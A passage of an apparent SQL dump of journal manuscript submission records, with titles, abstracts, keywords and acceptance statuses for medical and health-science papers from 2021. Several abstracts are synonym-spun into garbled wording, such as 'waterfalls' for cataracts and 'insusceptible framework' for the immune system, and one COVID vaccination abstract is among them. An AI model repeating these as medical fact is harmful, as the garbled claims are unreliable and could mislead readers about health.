extracted from the studies.\r\nMeta-analysis showed no difference in the rate of sICH between anticoagulated patients and those with normal haemostasis (OR = 1.21; 95% C.I: 0.88, 1.67). Ninety-day mortality was similar among both groups. Most authors report similar rates of good functional outcome at 90-days between patient groups. Conclusion: EVT appears to be a safe treatment option in patients who are therapeutically anticoagulated. ','Endovascular-thrombectomy-anticoagulation-haemorrhage-acute-ischaemic-stroke-safety-meta-analysis',338,NULL,'2021-04-19',NULL,'Submitted',2,NULL,'2021-06-29',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(8218,9383,86,0,'ipaom-21-8218','A wheezy diagnostic dilemma – an unusual cause of emphysema in a non-smoker',NULL,25,0,'','A 30-year-old Caucasian gentleman presented to the emergency department with the complaint of palpitations and shortness of breath with minimal exertion. He is a life-long non-smoker but had exposure to second hand smoking as a child. His past medical\r\nhistory was significant for a reported diagnosis of “asthma” and legally blind status since birth. On physical exam, he was found to have sinus tachycardia with heart rate up to 120 beats per minute on minimal exertion but with no desaturations on pulse oximetry.\r\nOn auscultation expiratory wheezes were present bilaterally. A CT scan of the chest revealed the presence of centrilobular emphysema. His minimal passive smoking history was not felt to be enough to account for his degree of emphysema. Alpha-1\r\nantitrypsin level and genotyping were negative, thus excluding other risk factors for emphysema. A more detailed history into his blindness and a birth history gave new insight into his emphysema, shortness of breath, and the likely etiology of his\r\npresentation.\r\n','Wheeze, Emphysema, Non-smoker',3411,NULL,'2021-04-19',NULL,'Submitted',4,NULL,'2021-04-30',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8224,9388,971,0,'ipaclr-21-8224','ROLE OF VITAMIN D IN POLYCYSTIC OVARIAN SYNDROME PATIENTS ',NULL,14,0,'','Background\r\nPolycystic ovary syndrome (PCOS), common cause of ovarian dysfunction. Vitamin D plays a physiologic role in reproduction including ovarian follicular development and luteinisation and its role in PCOS is not very clear.\r\nAim and Objectives\r\nTo analyse the serum levels of vitamin D among patients with PCOS and healthy controls. \r\nMaterials and Methods\r\nThis cross-sectional study recruited 120 participants with PCOS and 120 healthy controls. After assessing the socio-demographic characteristics of the patients and their control, blood samples were drawn to carry out routine biochemical investigations and serum vitamin D.\r\nResults and Conclusion\r\nMean serum vitamin D levels in study group were lower as compared to controls. Vitamin D deficiency was present in 95.8 % of women in study group and 85% of women in control group.\r\nConclusion\r\nFinding of lower vitamin D levels in PCOS women lends support to possible role of vitamin D in pathogenesis of PCOS. Screening for vitamin D deficiency in women with PCOS may provide better insight of its role in PCOS. \r\n','PCOS, Serum Vitamin D levels.',3249,NULL,'2021-04-20',NULL,'Submitted',2,NULL,'2021-05-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8226,9391,45,0,'iphsj-21-8226','An Estimate of the Net Benefits from Prior Authorization Policies in the U.S.',NULL,14,0,'','While originally a clinical tool, prior authorization policies administered by pharmacy benefit managers (PBM) and insurers of biopharmaceuticals are now primarily designed to manage costs. Prior authorization requirements are associated with reduced drug spending (the financial benefit), but they also impose administrative costs on providers, insurance plans, and employer-sponsored plans. Prior authorizations also worsen patient adherence to their prescribed medicines, which is associated with increases in overall healthcare spending. This analysis develops a model utilizing published estimates to quantify the costs created by prior authorizations compared to the financial benefits as measured by the reduced drug spending. Based on our analysis, healthcare costs associated with prior authorizations exceed the benefits of reduced drug spending increasing total healthcare spending by $1.9 billion per year. While additional research evaluating the net benefit from prior authorization policies is necessary, our analysis indicates that prior authorization policies as an administrative tool cannot be justified based on their net financial impact on the healthcare sector','Financial cost, PA, Healthcare impacts',686,NULL,'2021-04-20',NULL,'Submitted',2,NULL,'2021-05-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8229,9326,45,0,'iphsj-21-8229','Outcomes of Surgical Patients Admitted to the Intensive Care Unit of Jimma University Medical Center',NULL,14,0,'','Background: Intensive Care Unit is a part of a hospital where critically ill patients that required advanced airways, respiratory or homodynamic support are admitted. However, the patterns of admission and outcome of the critical surgical patients admitted to Intensive Care Unit of Jimma University Medical Center not well understood. Therefore, the aim of this study was to assess patterns of admission and outcome of surgical patients admitted the intensive care unit of Jimma University Medical Center.\r\nMethodology: A cross-sectional retrospective study was conducted in Jimma University Medical Center. Records of surgical patients admitted to intensive care unit from Sept1, 2016-Sept1, 2017 were reviewed.  Data abstracted from patient records include diagnosis at admission and outcome of admission. Descriptive statistic, such as frequencies, proportions and means were calculated. Possible association patients’ outcome and predictor variables were determined using Chi-Square Test.\r\n Result: During one year, 113 surgical patients admitted to intensive care unit of Jimma University Medical Center. Males accounted 61.1% of the admission.  Commonest diagnosis at admission was isolated head trauma accounting 36 out of 113 admissions (31.9%). Overall ICU complication rate was 46.9 %. Overall ICU mortality rate was 39.8%. The highest mortality rate was recorded for head injury at 52.8%\r\nConclusion: High complication rate and mortality rate is indicative of poor quality of care in the intensive care unit of Jimma University Medical Center. Head injury mortality rate is particularly higher and need preventive measures.','Intensive Care Unit, surgical, Jimma University Medical Center',686,NULL,'2021-04-21',NULL,'Submitted',2,NULL,'2021-06-02',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8239,9399,667,0,'iptb-21-8239','Cybersecurity in Diabetic Contraptions with Boosted EHO Optimization ',NULL,14,0,'','Diabetes contraptions are progressively associated remotely to one another and to information showing peruser gadgets. Dangers to the precise progression of data and orders may bargain the capacity of these devices and put their clients in danger of  wellbeing complexities. Sound cybersecurity of associated diabetes gadgets is important to look after secrecy, trustworthiness, what\'s more, accessibility of the information and orders. Diabetes gadgets can be hacked by unapproved specialists and furthermore by patients themselves to remove information that are not naturally given side-effect programming. Unapproved access to associated diabetes gadgets has been reenacted and could occur as a general rule. A cybersecurity standard structured explicitly  with a boosted EHO(Elephant Herd Optimization) for associated diabetes contraptions will improve the wellbeing of these items and increment certainty of clients that the items will be secure.','Optimization,cybersecurity,Diabetes,Contraptions,data,device',4809,NULL,'2021-04-22',NULL,'Submitted',2,NULL,'2021-07-23',NULL,1,1,'1','Approved',0,'','',NULL,0,0,0,NULL,0),(8240,9400,667,0,'iptb-21-8240','Adult laryngeal hemangioma: A case report',NULL,2,0,'','Hemangiomas are the most common congenital benign tumors diagnosed, and ∼60% arise in the head and neck region. Laryngeal hemangiomas are slowly progressing vascular tumors, which are commonly diagnosed in children, but are rarer in adults. They may occur in the vocal chamber, arytenoid cartilage or aryepiglottic fold. Hemangiomas occur rarely in the larynx, particularly in adults. Symptoms include hoarseness, dyspnea, dysphagia or a pharyngeal foreign body sensation. Currently, there is no consensus regarding the treatment of hemangiomas due to their rarity. For small laryngeal hemangiomas, observation is usually sufficient. However, larger hemangiomas require treatment, and this can include surgical resection, corticosteroid injections, ethanol injections, cryosurgery, radium or gold implants, interferon treatment and laser surgery. We report the case of a laryngeal hemangioma in an adult female, who was treated surgically, without any complications.','Hemangiomas, Laryngeal, pharyngeal, cryosurgery, cholecystectomized',4810,NULL,'2021-04-22',NULL,'Submitted',4,NULL,'2021-06-18',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8241,9401,91,0,'ijddr-21-8241','Editorial Note on Eco-Friendly Spectrophotometric Analysis',NULL,5,0,'','International Journal of Drug Development and Research (IJDDR) distribute full length research reports, survey articles, and logical analyses and correspondence on all parts of the drug sciences with solid sciences with solid accentuation on oddity, inventiveness and logical quality. The Editors invite articles in this multidisciplinary field, going from Drug Development to Drug Discovery. All the more explicitly, the Journal distributes reports in therapeutic science, pharmacology, drug assimilation and digestion, pharmacokinetics and pharmacodynamics, drug and biomedical examination, drug conveyance frameworks including quality conveyance, drug focusing on, drug innovation, drug biotechnology and clinical medication assessment.','pharmacokinetics , pharmacodynamics, drug and biomedical examination',3391,NULL,'2021-04-22',NULL,'Submitted',2,NULL,'2021-05-12',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8244,9409,326,0,'IPJUS-21-8244','Jejunal Diverticulosis perforation: rare cause of Acute Abdomen',NULL,2,0,'','Abstract\r\nIntroduction:\r\nSmall bowel diverticulosis is a rare pathology;in contrast to colonic diverticular disease. It usually remains asymptomatic and undiscovered, until severe complications such as diverticulitis or even perforation occur.\r\nWe present a rare cause of acute abdominal pain with a case of jejunal diverticulitis complicated with perforation.\r\n\r\nObservation\r\nWe report the case of a84-year-old woman, who was admitted to the emergency department for the management of jejunaldiverticulitis with perforation, who underwent immediate surgery after confirmation on abdominal CT -Scan. \r\n\r\nConclusion:\r\nJejunal diverticulitisis a rare entity that may lead to chronic non-specific abdominal symptoms. However, it can also present as an acute complication, one of its form being intestinal perforation, which may require immediate surgical intervention.\r\n','Jejunal diverticulitis, perforation, intestinal resection',2505,NULL,'2021-04-23',NULL,'Submitted',2,NULL,'2021-05-27',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(8253,9419,85,0,'iphspr-21-8253','Community Based Health Insurance Enrollment and Its Associated Factors among Households in Pilot Districts',NULL,14,0,'','Background: Community based health insurance is defined as pooling of prepaid funds in a way that allows for health risks to be shared. Likewise; in Ethiopia, 83.6% health care financing has mainly covered by donors and patients and only 5% of the populations have covered by community based health insurance. \r\nObjective: To assess the status of community based health insurance enrollment and its associated factors within pilot implementing districts of Bale zone, Southeast Ethiopia. \r\nMethods: A community based cross sectional study design was implemented from June to September 2019. The simple random sampling technique was employed to select 622 study participants. Data were collected by trained data collectors entered into EPI data version 3.1 and exported to SPSS versions 22 models for bivariate and multivariate logistic regression analysis. \r\n Result: The enrollment of community based health insurance was 20.1%. In Multivariate logistic regression, age of the respondents [AOR= 1.83 (1.10, 3.02)], family size [AOR =2.11 (1.28, 3.49)]; educational status [AOR=0.56 (0.35, 0.9), Awareness [AOR=2.86 (1.77, 4.62)] and attitudes [AOR=0.48 (0.310, 0.75)] were significantly associated factors with enrollment of community based health insurance enrollment.\r\nRecommendation: Many efforts needed to improve their awareness and knowledge level of the community towards the scheme. \r\n','Enrollment; Community Based Health Insurance; Pilot Implementation Districts;',2141,NULL,'2021-04-23',NULL,'Submitted',4,NULL,'2021-08-12',NULL,1,0,'0','                       ',0,'','',NULL,0,0,0,NULL,0),(8282,9435,45,0,'iphsj-21-8282','Improving the role of medical scientific societies during health crises',NULL,11,0,'','The COVID-19 crisis is ongoing and there is no clear prospect for overcoming it. This crisis has revealed many problems and deficiencies in different sectors, particularly the health system and more importantly in communication, decision-making, and executive systems not only at the national, but also at the international level. For better confrontation future crises, identifying these pitfalls and resolving them is very important; in this regard, scientific societies play a very fundamental role. Firstly, they should perform deep reforms in their structure for better efficacy, coordination, and impact. It is to be hoped that scientific societies have learned enough from this pandemic to be ready for the next one. There is a need to develop a suitable model for more effective and coordinated approaches in the future, amid to reduce the casualties and more appropriate responses to health crises in a shorter period of time and with greater efficiency. In this manuscript we proposed a model for scientific societies to improve their impacts during health crises. This includes establishing pre-event capabilities, in crisis actions, and recommendations to be taken after the current crisis and before the next one.','Health crisis, Health policy, Society, Community, Scientist',686,NULL,'2021-04-25',NULL,'Submitted',2,NULL,'2021-06-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8284,9437,73,0,'ipjnn-21-8284','Postural Predisposition to Cervical Spondylosis Among Housewives, Teachers, Computers and Smartphones Users',NULL,14,2,'','BACKGROUND: The relationship between postural changes around the neck and the development of cervical spondylosis maybe something that\\\'s not fully understood and accepted but there some evidence that proves their relationship.\\r\\nAIM: This is review article on the effect of persistent postural changes around the neck on the development of cervical spondylosis and while cervical spondylosis is prevalent among housewives whose most of their house chores required bending of the neck, teachers who writes much of notes, prolonged computer users and in adolescents with prolonged usage of smartphones.\\r\\nMethods: A careful literature search was made on some scientific search engines like pubMed, EMBase using a very sensitive search strategy on researches made on cervical spondylosis and careful analysis was done to link the development to some postural activities another the cervical axis of the spine.\\r\\nResults: The reviews shows evidence of relationship between posture and development of cervical spondylosis.\\r\\n','Cervical Spine, Cervical Spondylosis, Postural Predisposition, Occupational Predisposition',4796,NULL,'2021-04-25',NULL,'Submitted',19,NULL,'2021-07-02',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(8297,9401,91,0,'ijddr-21-8297','Editorial on Clinical Trials & Clinical Research on COVID-19',NULL,5,0,'','An article entitled “An Overview of Covid-19 vaccine development worldwide” by Sachin Dwivedi deals with Covid illness 2019 (COVID-19) is an irresistible sickness brought about by a recently recognized Covid. All around the world 216 Countries and domains with 27 million COVID-19 positive cases and 0.88 million passings revealed due to Covid till 6 September, 2020. The pandemic of serious intense respiratory disorder Covid 2 (SARS-CoV-2) may be shortened by inoculation.','Covid, immunizations, respiratory disorder',4065,NULL,'2021-04-26',NULL,'Submitted',2,NULL,'2021-04-29',NULL,1,1,'1','accept\r\n\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(8302,9452,91,0,'ijddr-21-8302','Can a COVID positive patient be vaccinated?',NULL,3,0,'','At the point when you have Covid-19, your insusceptible framework is now bustling attempting to fend off the Covid-19 Covid. It\'s not yet clear however what precisely this may mean for your resistant framework\'s capacity to react to the immunization and whether your assurance from the antibody might be less accordingly. By and by, there are different reasons why you should hang tight for it, hang tight for it, stand by until after you\'ve recuperated from Covid-19 preceding getting the Covid-19 immunization.','Covid-19, immunization, web sensation',4065,NULL,'2021-04-26',NULL,'Submitted',2,NULL,'2021-05-12',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8307,9456,86,0,'ipaom-21-8307','Pharmacological Treatments for Coronavirus Disease (COVID-19)',NULL,5,0,'','Infection by the SARS-CoV-2 virus, recognized as COVID-19 (CoronaVirus Disease-19) was initially noticed in China in December 2019, and has subsequently spread rapidly throughout the world, WHO reported that the outbreak could be defined as a pandemic.','Pharmacological , SARS-CoV-2 virus',2890,NULL,'2021-04-26',NULL,'Submitted',2,NULL,'2021-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8315,9200,45,0,'iphsj-21-8315','Mitigating the effects of COVID-19 through global health governance',NULL,15,0,'','The COVID-19 pandemic is affecting lives and exposing weaknesses in health systems across the globe. The importance of health governance in delivering proper and effective services worldwide cannot be overemphasized. It has become apparent that the old ways - vertical and centralized methods of governance - of leadership are not the most effective during the COVID-19 pandemic. As such, there is a need for newer and more innovative methods - collective action and adaptation to change - of ensuring that healthcare can be delivered effectively amid the ongoing chaos and ambiguity. \r\nNGOs have also successfully mitigated the effects of the pandemic by introducing / incorporating healthy behaviors into public messages (washing of hands and social distancing), spearheading advocacy efforts, and serving as the link between the local communities  and bilateral/multilateral donors. These coordinated efforts have helped in reducing the spread of virus which has led to lower morbidity rates. Furthermore, Africa has been able to escape the heavy impact of the pandemic due to its adherence to isolation measures coupled with preventive guidelines, public mandates, and bans on domestic/international travel. This paper seeks to explore why effective health governance is important during the pandemic, the roles of NGOs, and lessons learnt thus far.','COVID-19 pandemic, health systems roles of NGOs',643,NULL,'2021-04-27',NULL,'Submitted',2,NULL,'2021-05-14',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8316,9200,45,0,'iphsj-21-8316','Save Our Cities 2021: Building sustainable, resilient, and healthy cities by 2030 through prevention of and reduction in spread of disease',NULL,15,0,'','For many individuals, cities are the hubs for which all facets of their life revolve around. The COVID-19 pandemic poses a threat to the health and wellbeing of individuals as well as the sustainability of cities in the future. Cities are a resource hub that have existed for thousands of years. Today’s cities not only provide jobs for millions of people but also function as a place to get educated and interact with other people. Throughout history, cities have been faced at some point with the need to increase their capacity to meet the needs of residents especially during times of distress. The COVID-19 pandemic poses a challenge to cities that do not have the necessary health infrastructure in place when it comes to dealing with pandemics. \r\n              The very nature of cities - being interconnected to one another primarily through transportation - can be antithetical to any progress made at slowing down the spread of the virus. In the today’s globalized world, people move from one place to the other instantaneously in a very seamless manner. Such movements lead to the creation of so many networks among people who might have never even met face-to-face. As a result, government stakeholders have to exercise the highest form of leadership when it comes to addressing the daily needs of the populace.  The government response to this pandemic is also one that needs to be timely since an untimely response not only adds an additional burden to health systems but also leads to mass casualties. With so many variable factors, this paper seeks to explore what a 21st century campaign aimed at tackling COVID-19 ought to have. Throughout this paper, there is special emphasis on contextualizing the response of a city based on trusted data that looks at the local context at hand as well as the heterogeneous makeup of the population being served.','COVID-19 pandemic, Health',643,NULL,'2021-04-27',NULL,'Submitted',2,NULL,'2021-05-17',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8319,9467,73,0,'ipjnn-21-8319','OMEGA 3 FATTY ACID AND CANNABIDIOL PROLONG LIFESPAN AND AMELIORATES BRAIN ISCHAEMIA IN MICE FED CHRONIC HIGH FAT DIET ',NULL,14,0,'','Diets the world over are more fatty than they used to be. High fat diet (HFD) is now being used to model unhealthy eating in experimental animals. It is known to induce inflammatory responses as well as oxidative stress. Cannabidiol (CBD) is the non-psychoactive component of Cannbis sativa which has been legalized for medicinal use in many countries of the world. Omega 3 fatty acid, is commonly found in fish oil and has found usefulness in some illnesses and in brain development. The antioxidant and neuroprotective function of CBD and omega 3 have made them relevant in many researches. In this study 45 mice were used and divided into three groups of 15 animals each. Group 1 had normal feed and water ad libidum; Group 2 had HFD ad libidum; Group 3 had HFD+CBD+Omega 3 all for 16 weeks. Thereafter, five animals from each group were selected and their brains (frontal lobes) were harvested for histological analyses using H and E staining. The remaining mice were allowed to feed on normal diet and monitored till they all died. At the end it was found that HFD significantly reduced lifespan of mice compared to the control and supplemented group. Median life expectancy for HFD group (57.4±0.3) was found to be significantly lower compared to control (78.9±1.6) and HFD+CBD+omega 3 group (74.5± 0.8) at p<0.05. HFD also caused significant brain ischemic damage, neuronophagia and significant perivascular oedema. CBD+Omega 3 induced significant astrocytosis compared to control and HFD group. The immune stimulation by the CBD+Omega 3 could be responsible for the preservation of the brain and other vital tissues from inflammatory and oxidative injuries thus, ensuring tissue survival and longevity. Prevention of ischemic tissue death could have been prevented by the amelioration of artherosclerosis cause by the HFD. Further studies will be required to ascertain other possible mechanisms behind these findings. ',' Omega 3, CBD, HFD, Lifespan, Astrocytosis',354,NULL,'2021-04-27',NULL,'Submitted',12,NULL,'2021-07-02',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8320,9180,667,0,'iptb-21-8320','The long non-coding RNA SENEBLOC',NULL,15,0,'','Cellular senescence is a stress response and a permanent state of cell cycle arrest of normal cell division. SENEBLOC is involved in both oncogenic and replicative senescence.  SENEBLOC acts to restrains p21-mediated senescence. Mouse double minute 2 (MDM2) regulates p53, controls its transcriptional activity and protein stability. Cyclin-dependent kinase (CDK) inhibitor p21 promotes cell cycle arrest in response to a variety of stimuli and it can be induced by both p53-dependent and p53-independent mechanisms. SENEBLOC is shown to drive both p53-dependent and p53-independent mechanisms. SENEBLOC acts as a scaffold to promote p53 turnover. It decreases p21 transactivation and promotes p53 and MDM2 association. p53-independent regulation of p21 by SENEBLOC occurs via regulatory effects on HDAC5. In this review, we focus on the importance of the newly identified LncRNA SENEBLOC.','Senescence, LncRNA SENEBLOC, p53, p21, HDAC5',3933,NULL,'2021-04-28',NULL,'Submitted',4,NULL,'2021-06-14',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8321,9469,277,0,'ipadm-21-8321','Síndrome de burnout académico: Emoción negativa frente al aprendizaje',NULL,5,0,'','','',2805,NULL,'2021-04-28',NULL,'Submitted',2,NULL,'2021-06-03',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(8323,9472,326,0,'IPJUS-21-8323','Anatomical variations of the anterior part of the circle of Willis-an autopsic study',NULL,14,0,'','The arterial circle of Willis (CoW), also called the arterial circle or circulus arteriosus cerebri, represents an anastomotic arterial canal located at the base of the brain, in the interpeduncular fossa, which connects the internal carotid and the vertebrobasilar system. The purpose of this study is to identify anomalies / anatomical variants of the anterior part of CoW in the population of the North-Eastern region of Romania by researching macroscopic aspects of the constituent arteries of CoW obtained during the autopsy procedure. There was noted the presence or absence, variations in the shape, position, or trajectory of each arterial segment of the anterior part of the CoW, comparing them with the outcomes from other various international studies.','circle of Willis, anterior, variations, pathology',2505,NULL,'2021-04-28',NULL,'Submitted',2,NULL,'2021-05-15',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8329,9479,45,0,'iphsj-21-8329','Deep Glimpse on T1 Diabetes and its Curation',NULL,14,0,'','Genome editing, or genome engineering, or gene editing, is a type of genetic engineering in which DNA is inserted, deleted, modified or replaced in the genome of a living organism. Unlike early genetic engineering techniques that randomly inserts genetic material into a host genome, genome editing targets the insertions to site specific locations.','T1 Diabetes\r\nGene Editing\r\nImmunotherapy\r\nBioPython\r\nCRISPR-Cas9 ',4610,NULL,'2021-04-28',NULL,'Submitted',16,NULL,'2021-05-19',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8337,9484,326,0,NULL,'The Evolution of the Appendectomy: From Open to Laparoscopic to Single Incision',NULL,5,0,'','Foundation with its initial explanation by Fitz in the 19th century, acute appendicitis has been a important long-standing medical test; today it remains the maximum common gastrointestinal emergency in adults. Previously in 1894, McBurney advocated for the surgical elimination of the inflamed appendix and is recognised with the initial description of an Open Appendectomy (OA). With the summary of slightly invasive surgery, this classic method evolved into a process with multiple, smaller incisions; a method called Laparoscopic Appendectomy (LA). There is much literature defining the benefits of this newer method. To name a few, patients have considerably less wound infections, reduced pain, and a reduction in ileus associated with the OA. In the past few years, Single Incision Laparoscopic Appendectomy (SILA) has increased popularity as the next foremost evolutionary growth in the removal of the appendix. Defined as a pioneer in the era of “scarless surgery,” it includes only one transumbilical incision. Patients are proposed to have condensed post-operative problems such as infection, hernias, and hematomas, as well as a quicker recovery time and less post-operative pain scores, in evaluation to its predecessors.','Appendectomy',2505,NULL,'2021-04-29',NULL,'Submitted',4,NULL,'2021-04-29',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8338,9484,326,0,'IPJUS-21-8338','Tibial torsion associates with tala morphology',NULL,5,0,'','Hindfoot alignment and anatomy are critical determinants of lower extremity biomechanics and human ambulatory function. With increasing annual processes and mid-to-long term results of total ankle arthroplasty (TAA), bigger attention has been applied to adjustment of deformity to improve functional results and period of implantation. Current literature has reported extensively on alignment in the coronal and sagittal planes; however, recent work has begun to evaluate the axial plane alignment in the tibia and foot. As TAA usage develops, axial alignment will likely play an significant role in results. With patient-specific equipment platforms and growing availability of innovative imaging for preoperative planning, many patients are go through preoperative computed tomography (CT), which make available an evaluation of bone stock and deformity in the coronal/sagittal planes; in adding, CT has been verified to be an accurate, effective measurement of axial anatomy.','Tibial torsion, tala',2505,NULL,'2021-04-29',NULL,'Submitted',2,NULL,'2021-05-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8339,9484,326,0,'IPJUS-21-8339','The Development of the Appendectomy',NULL,5,0,'','Foundation with its initial explanation by Fitz in the 19th century, acute appendicitis has been a important long-standing medical test; today it remains the maximum common gastrointestinal emergency in adults. Previously in 1894, McBurney advocated for the surgical elimination of the inflamed appendix and is recognised with the initial description of an Open Appendectomy (OA). With the summary of slightly invasive surgery, this classic method evolved into a process with multiple, smaller incisions; a method called Laparoscopic Appendectomy (LA). There is much literature defining the benefits of this newer method. To name a few, patients have considerably less wound infections, reduced pain, and a reduction in ileus associated with the OA. In the past few years, Single Incision Laparoscopic Appendectomy (SILA) has increased popularity as the next foremost evolutionary growth in the removal of the appendix. Defined as a pioneer in the era of “scarless surgery,” it includes only one transumbilical incision. Patients are proposed to have condensed post-operative problems such as infection, hernias, and hematomas, as well as a quicker recovery time and less post-operative pain scores, in evaluation to its predecessors.','Appendectomy',2505,NULL,'2021-04-29',NULL,'Submitted',2,NULL,'2021-05-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8340,9484,326,0,'IPJUS-21-8340','Bariatric Surgery',NULL,5,0,'','Bariatric surgeries cause weight reduction by limiting the measure of food the stomach can hold, causing malabsorption of supplements, or by a mix of both gastric limitation and malabsorption. Bariatric techniques likewise frequently cause hormonal changes. Most weight reduction medical procedures today are performed utilizing insignificantly intrusive methods (laparoscopic medical procedure).','Bariatric Surgery',2505,NULL,'2021-04-29',NULL,'Submitted',2,NULL,'2021-05-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8345,9484,326,0,'IPJUS-21-8345','Cataract Surgery',NULL,5,0,'','Cataract surgery is a method to eliminate the focal point of your eye and, by and large, supplant it with a counterfeit focal point. Regularly, the focal point of your eye is clear. A cataract makes the focal point become shady, which in the long run influences your vision. Cataract surgery is performed by an eye specialist (ophthalmologist) on an outpatient premise, which implies you don\'t need to remain in the emergency clinic after the medical procedure. Cataract surgery is extremely normal and is by and large a protected methodology. Cataract surgery is performed to treat waterfalls. Waterfalls can cause hazy vision and increment the glare from lights. In the event that a cataract makes it hard for you to do your typical exercises, your primary care physician may propose cataract medical procedure.','Cataract surgery',3103,NULL,'2021-04-30',NULL,'Submitted',2,NULL,'2021-05-05',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8353,9500,975,0,'ipjbs-21-8353','Brain Tumor Detection and Indication from MRI Data using Image Process Technique in Matlab.                          ',NULL,2,0,'','Brain tumor is one of the most important research areas in the field of medical sciences. The two type of tumors such as Benign and Pre-Malignant and the accuracy of the MRI image and were taken into consideration. In this study, an algorithm is proposed to detect the brain tumor from magnetic resonance image (MRI) data. The proposed algorithm enhances the MR image quality and detects the Brain tumor which helps the Physician to diagnose the tumor easily. This algorithm automatically calculates the area, size and location of the tumor where it is present for diagnostic the Patient.','MRI-Data, Brain Tumor, Tumor Detection, Image Process and Technique.',4089,NULL,'2021-05-01',NULL,'Submitted',12,NULL,'2022-07-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8358,496,45,0,'iphsj-21-8358','The Therapeutic Possibility of EBV-Positive Nasopharyngeal Carcinoma through Targeting Somatostatin Receptors',NULL,14,0,'','Nasopharyngeal carcinoma (NPC) is a complex epithelial malignancy caused by both internal and environmental factors. Among them, Epstein–Barr virus (EBV) is a definitive etiological factor. The current therapeutic regimen for NPC is far from ideal and recurrence is commonly seen in patients after conventional radio and/or chemotherapy. We have thereby set out to develop new treatments for this deadly disease. Having analyzed a number of nasopharyngeal tissue and cell samples, we found that the level of somatostatin receptors (SSTRs) was positively correlated with EBV infection. Further, SSTR2 is the dominant SSTR isoform expressed in the EBV-positive (EBV (+)) NPC cells, a potential target for precise delivery of therapeutic agents. Cytotoxic effects of small molecule drugs including ansamitocin P-3 (AP-3), camptothecin and colchicine were subsequently evaluated in NPC cells. We found that AP-3 exhibits its strong anti-NPC activities with the IC50 values being 0.07 nM in EBV (+) NPC C666-1 cells and 0.09 nM in EBV (-) NPC CNE2 cells. In the xenograft animal model, AP-3 further shows inhibitory effects on NPC growth. These findings indicated that AP-3’s activity is not related to EBV in NPC cells. Thus, we proposed that SSTR2-specific delivery of AP-3 via linking AP-3 to somatostatin is likely a viable option to treat the EBV (+) NPC patients.','Nasopharyngeal carcinoma (NPC), Epstein–Barr virus (EBV), ansamitocin P-3 (AP-3), somatostatin receptors, cell proliferation, tumor growth',643,NULL,'2021-05-02',NULL,'Submitted',2,NULL,'2021-05-17',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8359,9102,277,0,'ipadm-21-8359','Catástrofes tiroideas en uci: coma mixedematoso y tormenta tiroidea. Reporte de casos',NULL,2,0,'','Las alteraciones de la función tiroidea son emergencias clínicas y endocrinológicas que rápidamente progresan a disfunción orgánica siendo condiciones potencialmente mortal. Dentro de estos desórdenes tiroideos se encuentran el coma mixedematoso siendo la manifestación más extrema del hipotiroidismo y la tormenta tiroidea resultante del hipertiroidismo. Las estrategias terapéuticas se basan en el rápido reconocimiento de la condición, medidas de soporte en la unidad de cuidado crítico; sin olvidar el tratamiento del factor desencadenante, con la finalidad de disminuir las complicaciones y la mortalidad.','tormenta tiroidea; tirotoxicosis; coma mixedematoso; urgencia endocrina; tratamiento',2805,NULL,'2021-05-02',NULL,'Submitted',2,NULL,'2021-06-03',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(8364,9510,639,0,'ipfs-21-8364','Commentary on “Effects of temperature on hatching and growth performance of embryos 1 and yolk-sac larvae of a threatened estuarine fish: Longfin smelt (Spirinchus thaleichthys)',NULL,17,0,'','The longfin smelt (Spirinchus thaleichthys) population in the San Francisco Estuary has\r\n\r\ndeclined to less than 1% of historic numbers. It is crucial to identify the mechanisms that are\r\n\r\ndriving the decline in order to implement species conservation plans. However, the low\r\n\r\nabundance and ever-declining population of longfin smelt limits access to research specimens.\r\n\r\nDeveloping a captive culture of longfin smelt would solve this issue while simultaneously\r\n\r\ngathering knowledge that could be used by conservation managers. To improve culture methods,\r\n\r\nwe focused on the early life stages because it is the first major bottleneck in culturing the species.\r\n\r\nWe measured the hatching and growth performance of longfin smelt embryos (ca. 15-28 days\r\n\r\npost-fertilization) and larvae (ca. 3-5 days post-hatch) and found that temperatures of 9 and 12?\r\n\r\nare appropriate culturing temperatures. These results demonstrate that the early life stages of\r\n\r\nlongfin smelt require cooler water than delta smelt, another species of conservation concern that\r\n\r\nmany California water management policies center around. While our study is useful for\r\n\r\ninforming conservation efforts, the complexities surrounding the distribution of water resources\r\n\r\nin California may delay efforts to implement this knowledge into conservation plans.','endangered species, temperature, conservation',1770,NULL,'2021-05-03',NULL,'Submitted',2,NULL,'2021-07-02',NULL,1,1,'1','accepted the 